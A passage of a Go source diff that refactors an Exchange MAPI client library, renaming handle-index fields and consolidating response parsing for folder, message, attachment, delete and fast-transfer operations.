0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} // + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) + execRequest.RopBuffer.ROP.RopsList = fullReq - if err != nil { - return nil, &TransportError{err} - } + execResponse, err := sendMapiRequest(execRequest) - serverHandles = execResponse.RopBuffer[len(execResponse.RopBuffer)-8:] + if err != nil { + return nil, &TransportError{err} } - if len(props) > split*piecescnt { - body := props[index:] - execRequest := ExecuteRequest{} - execRequest.Init() - setFast := RopFastTransferDestinationPutBufferRequest{RopID: 0x54, LogonID: AuthSession.LogonID, InputHandle: 0x02, TransferDataSize: uint16(len(body)), TransferData: body} - fullReq := setFast.Marshal() - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}...) - execRequest.RopBuffer.ROP.RopsList = fullReq + serverHandles = execResponse.RopBuffer.Body[len(execResponse.RopBuffer.Body)-8:] + } + if len(props) > split*piecescnt { + body := props[index:] + execRequest := ExecuteRequest{} + execRequest.Init() + setFast := RopFastTransferDestinationPutBufferRequest{RopID: 0x54, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02, TransferDataSize: uint16(len(body)), TransferData: body} + fullReq := setFast.Marshal() - _, err := sendMapiRequest(execRequest) + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.ServerObjectHandleTable = append(execRequest.RopBuffer.ROP.ServerObjectHandleTable, []byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}...) + execRequest.RopBuffer.ROP.RopsList = fullReq - if err != nil { - return nil, &TransportError{err} - } + _, err := sendMapiRequest(execRequest) + if err != nil { + return nil, &TransportError{err} } - return SaveMessageFast(0x01, 0x02, messageHandles) + } + return SaveMessageFast(0x01, 0x02, messageHandles) - return nil, ErrUnknown } //SaveMessageFast uses the RopFastTransfer buffers to save a message @@ -1344,12 +1483,12 @@ func SaveMessageFast(inputHandle, responseHandle byte, serverHandles []byte) (*R saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID} saveMessage.ResponseHandleIndex = responseHandle - saveMessage.InputHandle = inputHandle + saveMessage.InputHandleIndex = inputHandle saveMessage.SaveFlags = 0x02 fullReq := saveMessage.Marshal() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: inputHandle} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: inputHandle} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -1362,18 +1501,11 @@ func SaveMessageFast(inputHandle, responseHandle byte, serverHandles []byte) (*R return nil, &TransportError{err} } - //fmt.Println("Complete") - if execResponse.StatusCode != 255 { - bufPtr := 10 - - saveMessageResponse := RopSaveChangesMessageResponse{} - if e := saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - return &saveMessageResponse, nil - } + saveMessageResponse := RopSaveChangesMessageResponse{} + rops := []RopResponse{&saveMessageResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &saveMessageResponse, e - return nil, ErrUnknown } //DeleteMessages is used to delete a message on the exchange server @@ -1382,15 +1514,15 @@ func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*Ro execRequest.Init() getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 fullReq := getFolder.Marshal() //Normal delete 0x1E, hard-delete 0x91 deleteMessages := RopDeleteMessagesRequest{RopID: 0x91, LogonID: AuthSession.LogonID} - deleteMessages.InputHandle = 0x01 + deleteMessages.InputHandleIndex = 0x01 deleteMessages.WantSynchronous = 255 deleteMessages.NotifyNonRead = 0 deleteMessages.MessageIDCount = uint16(messageIDCount) @@ -1398,7 +1530,7 @@ func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*Ro fullReq = append(fullReq, deleteMessages.Marshal()...) - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -1410,36 +1542,26 @@ func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*Ro return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - openFolder := RopOpenFolderResponse{} - p, err := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, err - } - bufPtr += p - deleteMessageResponse := RopDeleteMessagesResponse{} - - if _, e := deleteMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + openFolderResponse := RopOpenFolderResponse{} + deleteMessageResponse := RopDeleteMessagesResponse{} + rops := []RopResponse{&openFolderResponse, &deleteMessageResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - return &deleteMessageResponse, nil - } + return &deleteMessageResponse, e - return nil, ErrUnknown } -func OpenAttachment(folderid, messageid []byte, attachId uint32, columns []PropertyTag) (*RopFastTransferSourceGetBufferResponse, error) { +//OpenAttachment allows for opening the attachment associated with a message +func OpenAttachment(folderid, messageid []byte, attachid uint32, columns []PropertyTag) (*RopFastTransferSourceGetBufferResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -1448,12 +1570,12 @@ func OpenAttachment(folderid, messageid []byte, attachId uint32, columns []Prope fullReq = append(fullReq, getMessage.Marshal()...) getAttachmentTbl := RopGetAttachmentTableRequest{RopID: 0x21, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02, TableFlags: 0x00} - getAttachment := RopOpenAttachmentRequest{RopID: 0x022, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02, OpenAttachmentFlags: 0x01, AttachmentID: attachId} + getAttachment := RopOpenAttachmentRequest{RopID: 0x022, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02, OpenAttachmentFlags: 0x01, AttachmentID: attachid} fullReq = append(fullReq, getAttachmentTbl.Marshal()...) fullReq = append(fullReq, getAttachment.Marshal()...) - fastTransfer := RopFastTransferSourceCopyPropertiesRequest{RopID: 0x69, LogonID: AuthSession.LogonID, InputHandle: 0x02, OutputHandle: 0x03} + fastTransfer := RopFastTransferSourceCopyPropertiesRequest{RopID: 0x69, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02, OutputHandleIndex: 0x03} fastTransfer.Level = 0 fastTransfer.CopyFlags = 2 fastTransfer.SendOptions = 1 @@ -1462,7 +1584,7 @@ func OpenAttachment(folderid, messageid []byte, attachId uint32, columns []Prope fullReq = append(fullReq, fastTransfer.Marshal()...) - fastTransferBuffer := RopFastTransferSourceGetBufferRequest{RopID: 0x4E, LogonID: AuthSession.LogonID, InputHandle: 0x03} + fastTransferBuffer := RopFastTransferSourceGetBufferRequest{RopID: 0x4E, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} fastTransferBuffer.BufferSize = 0xBABE fastTransferBuffer.MaximumBufferSize = 0xBABE @@ -1477,55 +1599,28 @@ func OpenAttachment(folderid, messageid []byte, attachId uint32, columns []Prope return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error - - getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - getAttachmentResp := RopOpenAttachmentResponse{} - if p, e = getAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - - props := RopFastTransferSourceCopyPropertiesResponse{} - if p, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p + getMessageResponse := RopOpenMessageResponse{} + getAttachmentTblResp := RopGetAttachmentTableResponse{} + getAttachmentResp := RopOpenAttachmentResponse{} + propsResponse := RopFastTransferSourceCopyPropertiesResponse{} + ppropsResponse := RopFastTransferSourceGetBufferResponse{} + rops := []RopResponse{&getMessageResponse, &getAttachmentTblResp, &getAttachmentResp, &propsResponse, &ppropsResponse} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + if e != nil { + return nil, e + } + //Rop release if we are done.. otherwise get rest of stream + if ppropsResponse.TransferStatus == 0x0001 { + buff, _ := FastTransferFetchStep(execResponse.RopBuffer.Body[bufPtr:]) - pprops := RopFastTransferSourceGetBufferResponse{} - if p, e = pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e + if buff != nil { + ppropsResponse.TransferBuffer = append(ppropsResponse.TransferBuffer, buff...) } + } - //Rop release if we are done.. otherwise get rest of stream - if pprops.TransferStatus == 0x0001 { - buff, _ := FastTransferFetchStep(execResponse.RopBuffer[bufPtr+p:]) - - if buff != nil { - pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) - } - } + ReleaseObject(0x01) + return &ppropsResponse, e - ReleaseObject(0x01) - return &pprops, nil - } - return nil, ErrUnknown } //GetAttachments retrieves all the valid attachment IDs for a message @@ -1535,12 +1630,12 @@ func GetAttachments(folderid, messageid []byte) (*RopGetValidAttachmentsResponse execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -1563,30 +1658,27 @@ func GetAttachments(folderid, messageid []byte) (*RopGetValidAttachmentsResponse return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 + bufPtr := 0 var p int var e error getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p getAttachmentsResp := RopGetValidAttachmentsResponse{} - if p, e = getAttachmentsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getAttachmentsResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } return &getAttachmentsResp, nil - } - return nil, ErrUnknown */ } @@ -1596,21 +1688,21 @@ func EmptyFolder(folderid []byte) (*RopEmptyFolderResponse, error) { execRequest.Init() getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 fullReq := getFolder.Marshal() emptyFolder := RopEmptyFolderRequest{RopID: 0x58, LogonID: AuthSession.LogonID} - emptyFolder.InputHandle = 0x01 + emptyFolder.InputHandleIndex = 0x01 emptyFolder.WantAsynchronous = 255 emptyFolder.WantDeleteAssociated = 255 fullReq = append(fullReq, emptyFolder.Marshal()...) - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -1621,37 +1713,34 @@ func EmptyFolder(folderid []byte) (*RopEmptyFolderResponse, error) { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - openFolder := RopOpenFolderResponse{} - p, err := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, err - } - bufPtr += p - emptyFolderResponse := RopEmptyFolderResponse{} - - if _, e := emptyFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + openFolderResponse := RopOpenFolderResponse{} + emptyFolderResponse := RopEmptyFolderResponse{} + rops := []RopResponse{&openFolderResponse, &emptyFolderResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - return &emptyFolderResponse, nil - } + return &emptyFolderResponse, e - return nil, ErrUnknown } //DeleteFolder is used to delete a folder -func DeleteFolder(folderid []byte) (*RopDeleteFolderResponse, error) { +func DeleteFolder(parentFolder, folderid []byte) (*RopDeleteFolderResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() + getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 + getFolder.FolderID = parentFolder + getFolder.OpenModeFlags = 0x00 + + fullReq := getFolder.Marshal() + deleteFolder := RopDeleteFolderRequest{RopID: 0x1D, LogonID: AuthSession.LogonID} - deleteFolder.InputHandle = 0x00 + deleteFolder.InputHandleIndex = 0x01 deleteFolder.FolderID = folderid deleteFolder.DeleteFolderFlags = 0x10 | 0x04 | 0x01 - fullReq := deleteFolder.Marshal() + fullReq = append(fullReq, deleteFolder.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} execRequest.RopBuffer.ROP.RopsList = fullReq @@ -1662,43 +1751,52 @@ func DeleteFolder(folderid []byte) (*RopDeleteFolderResponse, error) { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - deleteFolder := RopDeleteFolderResponse{} - if _, e := deleteFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + openFolderResponse := RopOpenFolderResponse{} + deleteFolderResponse := RopDeleteFolderResponse{} + rops := []RopResponse{&openFolderResponse, &deleteFolderResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &deleteFolderResponse, e - return &deleteFolder, nil - } +} - return nil, ErrUnknown +//GetFolder for backwards compatibility +//This function will be replaced in newer versions +func GetFolder(folderid int, columns []PropertyTag) (*RopOpenFolderResponse, error) { + folderID := AuthSession.Folderids[folderid] + folderResp, _, e := GetFolderFromID(folderID, nil) + return folderResp, e } -//GetFolder function get's a folder from the folders id +//GetFolderProps function get's a folder from the folders id //FolderIds can be any of the "specialFolders" as defined in Exchange //mapi/datastructs.go folder id/locations constants -func GetFolder(folderid int, columns []PropertyTag) (*RopOpenFolderResponse, error) { +func GetFolderProps(folderid int, columns []PropertyTag) (*RopOpenFolderResponse, *RopGetPropertiesSpecificResponse, error) { + folderID := AuthSession.Folderids[folderid] + return GetFolderFromID(folderID, columns) +} + +//GetFolderFromID newer methods to actually allow using the folder id +func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResponse, *RopGetPropertiesSpecificResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() //execRequest.MaxRopOut = 262144 getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 - getFolder.FolderID = AuthSession.Folderids[folderid] + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 + getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 var k []byte if columns != nil { - getProperties := RopGetPropertiesSpecific{} + getProperties := RopGetPropertiesSpecificRequest{} getProperties.RopID = 0x07 getProperties.LogonID = AuthSession.LogonID - getProperties.InputHandle = 0x01 + getProperties.InputHandleIndex = 0x01 getProperties.PropertySizeLimit = 0x00 - getProperties.WantUnicode = []byte{0x00, 0x01} + getProperties.WantUnicode = 0x01 getProperties.PropertyTagCount = uint16(len(columns)) getProperties.PropertyTags = columns @@ -1711,96 +1809,137 @@ func GetFolder(folderid int, columns []PropertyTag) (*RopOpenFolderResponse, err execRequest.RopBuffer.ROP.RopsList = k execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { - return nil, &TransportError{err} + return nil, nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - openFolder := RopOpenFolderResponse{} - if _, e := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - //this should be the handle to the folder - //fmt.Println(execResponse.RopBuffer[len(execResponse.RopBuffer)-4:]) - return &openFolder, nil + openFolderResponse := RopOpenFolderResponse{} + rops := []RopResponse{&openFolderResponse} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + + if columns == nil || e != nil { + return &openFolderResponse, nil, e } - return nil, ErrUnknown + getPropertiesResponse := RopGetPropertiesSpecificResponse{} + propRops := []GetProperties{&getPropertiesResponse} + _, e = UnmarshalPropertyRops(execResponse.RopBuffer.Body[bufPtr:], propRops, columns) + + return &openFolderResponse, &getPropertiesResponse, e + } -//GetMessage returns the specific fields from a message -func GetMessage(folderid, messageid []byte, columns []PropertyTag) (*RopGetPropertiesSpecificResponse, error) { +//OpenMessage opens and returns a handle to a message +func OpenMessage(folderid, messageid []byte) ([]byte, error) { execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF getMessage.OpenModeFlags = 0x03 fullReq = append(fullReq, getMessage.Marshal()...) + execRequest.RopBuffer.ROP.RopsList = fullReq + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + bufPtr := 0 + + var e error + + openMessage := RopOpenMessageResponse{} + if _, e = openMessage.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { + return nil, e + } + return execResponse.RopBuffer.Body[len(execResponse.RopBuffer.Body)-4:], nil +} + +//GetMessage returns the specific fields from a message +func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetProperties, error) { + + execRequest := ExecuteRequest{} + execRequest.Init() + + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} + fullReq := ropRelease.Marshal() + + getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 + getMessage.FolderID = folderid + getMessage.MessageID = messageid + getMessage.CodePageID = 0xFFF + getMessage.OpenModeFlags = 0x03 - getProperties := RopGetPropertiesSpecific{} - getProperties.RopID = 0x07 - getProperties.LogonID = AuthSession.LogonID - getProperties.InputHandle = 0x01 - getProperties.PropertySizeLimit = 0x00 - getProperties.WantUnicode = []byte{0x00, 0x01} - getProperties.PropertyTagCount = uint16(len(columns)) - getProperties.PropertyTags = columns + fullReq = append(fullReq, getMessage.Marshal()...) - fullReq = append(fullReq, getProperties.Marshal()...) + if columns != nil { + getProperties := RopGetPropertiesSpecificRequest{} + getProperties.RopID = 0x07 + getProperties.LogonID = AuthSession.LogonID + getProperties.InputHandleIndex = 0x01 + getProperties.PropertySizeLimit = 0x00 + getProperties.WantUnicode = 0x01 + getProperties.PropertyTagCount = uint16(len(columns)) + getProperties.PropertyTags = columns - //queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: 0x32} + fullReq = append(fullReq, getProperties.Marshal()...) + } else { + getPropertiesAll := RopGetPropertiesAllRequest{} + getPropertiesAll.RopID = 0x08 + getPropertiesAll.LogonID = AuthSession.LogonID + getPropertiesAll.InputHandleIndex = 0x01 + getPropertiesAll.PropertySizeLimit = 0x00 + getPropertiesAll.WantUnicode = 0x01 + fullReq = append(fullReq, getPropertiesAll.Marshal()...) + } + //queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: 0x32} //k = append(k, queryRows.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - - bufPtr := 10 - var p int - var e error - if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { - bufPtr += 4 - } - - openMessage := RopOpenMessageResponse{} - if p, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - + openMessageResponse := RopOpenMessageResponse{} + rops := []RopResponse{&openMessageResponse} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + if e != nil { + return nil, e + } + if columns != nil { props := RopGetPropertiesSpecificResponse{} - if _, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:], columns); e != nil { - return nil, e - } - - return &props, nil + propRops := []GetProperties{&props} + _, e = UnmarshalPropertyRops(execResponse.RopBuffer.Body[bufPtr:], propRops, columns) + return &props, e } - return nil, ErrUnknown + props := RopGetPropertiesAllResponse{} + propRops := []GetProperties{&props} + _, e = UnmarshalPropertyRops(execResponse.RopBuffer.Body[bufPtr:], propRops, columns) + return &props, e + } //GetMessageFast returns the specific fields from a message using the fast transfer buffers. This works better for large messages @@ -1809,12 +1948,12 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -1822,7 +1961,7 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast fullReq = append(fullReq, getMessage.Marshal()...) - fastTransfer := RopFastTransferSourceCopyPropertiesRequest{RopID: 0x69, LogonID: AuthSession.LogonID, InputHandle: 0x01, OutputHandle: 0x02} + fastTransfer := RopFastTransferSourceCopyPropertiesRequest{RopID: 0x69, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02} fastTransfer.Level = 0 fastTransfer.CopyFlags = 2 fastTransfer.SendOptions = 1 @@ -1831,7 +1970,7 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast fullReq = append(fullReq, fastTransfer.Marshal()...) - fastTransferBuffer := RopFastTransferSourceGetBufferRequest{RopID: 0x4E, LogonID: AuthSession.LogonID, InputHandle: 0x02} + fastTransferBuffer := RopFastTransferSourceGetBufferRequest{RopID: 0x4E, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02} fastTransferBuffer.BufferSize = 0xBABE fastTransferBuffer.MaximumBufferSize = 0xBABE @@ -1840,57 +1979,32 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - - bufPtr := 10 - var p int - var e error - - if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { - bufPtr += 4 - } - - openMessage := RopOpenMessageResponse{} - if p, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - props := RopFastTransferSourceCopyPropertiesResponse{} - if p, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e + openMessageResponse := RopOpenMessageResponse{} + props := RopFastTransferSourceCopyPropertiesResponse{} + pprops := RopFastTransferSourceGetBufferResponse{} + rops := []RopResponse{&openMessageResponse, &props, &pprops} + bufPtr, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + //Rop release if we are done.. otherwise get rest of stream + if pprops.TransferStatus == 0x0001 { + buff, err := FastTransferFetchStep(execResponse.RopBuffer.Body[bufPtr:]) + if err != nil { + return nil, err } - - bufPtr += p - //fmt.Printf("%x\n", execResponse.RopBuffer[bufPtr:]) - pprops := RopFastTransferSourceGetBufferResponse{} - if p, e = pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e + if buff != nil { + pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) } + } - //utils.Trace.Printf("Doing Chunked Transfer. Chunks [%d]", pprops.TotalStepCount) - - //Rop release if we are done.. otherwise get rest of stream - if pprops.TransferStatus == 0x0001 { - buff, _ := FastTransferFetchStep(execResponse.RopBuffer[bufPtr+p:]) - - if buff != nil { - pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) - } - } + ReleaseObject(0x01) - ReleaseObject(0x01) + return &pprops, e - return &pprops, nil - } - return nil, ErrUnknown } //FastTransferFetchStep fetches the next part of a fast TransferBuffer @@ -1898,7 +2012,7 @@ func FastTransferFetchStep(handles []byte) ([]byte, error) { execRequest := 